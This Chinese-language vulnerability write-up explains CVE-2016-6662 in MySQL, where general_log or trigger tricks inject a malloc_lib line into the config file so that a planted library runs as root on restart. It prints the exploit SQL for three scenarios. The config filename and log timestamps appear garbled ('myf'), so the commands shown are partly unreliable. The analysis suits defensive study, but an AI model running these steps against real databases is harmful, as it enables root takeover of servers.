Mysql本地提权及远程代码执⾏漏洞浅析(CVE-2016-6662)
0x00 漏洞影响
mysql 5.5、5.6、5.7 在10⽉份更新前的所有版本,包括分⽀版本MariaDB和PerconaDB 。
0x01 利⽤途径
通过远程数据库连接,web接⼝如phpMyAdmin,以及sql注⼊都可以完成。
0x02 漏洞原理
⼀些默认的mysql安装⽅式并且mysqld_safe脚本作为包装器以root权限启动mysql服务进程,⽐如像:
service mysql start
/etc/init.d/mysql start
ps aux | grep mysql以后你会发现mysqld_safe是以root权限运⾏,⽽mysql的主进程被降为了mysql⽤户,其中mysqld_safe有如下代码:
----[ /usr/bin/mysqld_safe ]----
cve漏洞库
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is'tcmalloc', look for tcmalloc shared library in /usr/lib
#  then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple.  Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir""$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
它将在mysql服务启动前预加载⼀个共享库,可以⽤–malloc-lib=LIB 来指定,但也可以⽤myf⽂件来进⾏配置,写在[mysqld] 或[mysqld_safe]位置。
如果通过在myf中指定⼀个存在恶意代码的库路径,那么在mysql重启的时候,这些代码将被以root权限执⾏。
在3.23.55版本之前曾有漏洞允许通过OUTFILE/DUMPFILE语句覆盖配置⽂件myf,但是在之后,mysql修复了这个漏洞,不允许通过OUTFILE/DUMPFILE语句覆盖已经存在的⽂件。
0x03 漏洞具体实现⽅式
这⾥其实分为三种情况:
1) myf⽂件的拥有者是mysql,并且有读写权限。
虽然很多⽂档都推荐这么做,但其实是⼀个误区,因为如果这样配置,那么配置⽂件就可以被修改。
mysql> set global general_log_file = '/etc/myf';
mysql> set global general_log = on;
mysql> select'
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
之后,myf⽂件会多了以下的部分
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                Id Command    Argument
16072817:25:1440 Query select'
;
injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
16072817:25:1540 Query set global general_log = off
然后,在启动的时候,mysqld_safe脚本就会读取这个/tmp/mysql_exploit_lib.so 路径,然后清除之前创建的配置,打开这个⽂件并执⾏。此时配合将恶意⽂件⽤OUTFILE/DUMPFILE写⼊到/tmp⽬录下,就可以完成任意代码执⾏操作。
2) 在默认安装⽅式下创建新的配置⽂件在mysql的数据⽬录(默认mysql有写权限),不⽤依赖错误的权限配置!不需要FILE权限和错误⽂件归属!
mysqld_safe不⽌读取上⾯讲到的配置⽂件,同时还读取/var/lib/mysql/myf ,⽽这个⽬录在任何安装情况下,mysql⽤户都是拥有写权限!
----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/myf"
then
defaults="--defaults-extra-file=$DATADIR/myf"
fi
[...]
-
---------[ eof ]---------------
利⽤以下代码:
mysql> set global general_log_file = '/var/lib/mysql/myf';
mysql> set global general_log = on;
mysql> select'
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
不过以上的配置⽂件不会被接受,因为mysql不允许配置⽂件以⾮正确的配置标签开头(如[mysqld]),正确的绕过⽅式有待更新。
3) 如果只有SELECT和FILE权限,不能利⽤⽇志记录的⽅式。
那么只能利⽤触发器来修改配置⽂件。
CREATE DEFINER=`root`@`localhost`TRIGGER appendToConf
AFTER INSERT
ON`active_table`FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/myf';
set global general_log = on;
select"
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
"INTO void;
set global general_log = off;
END;
或者
SELECT'...'INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
0x04 ⼩结

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。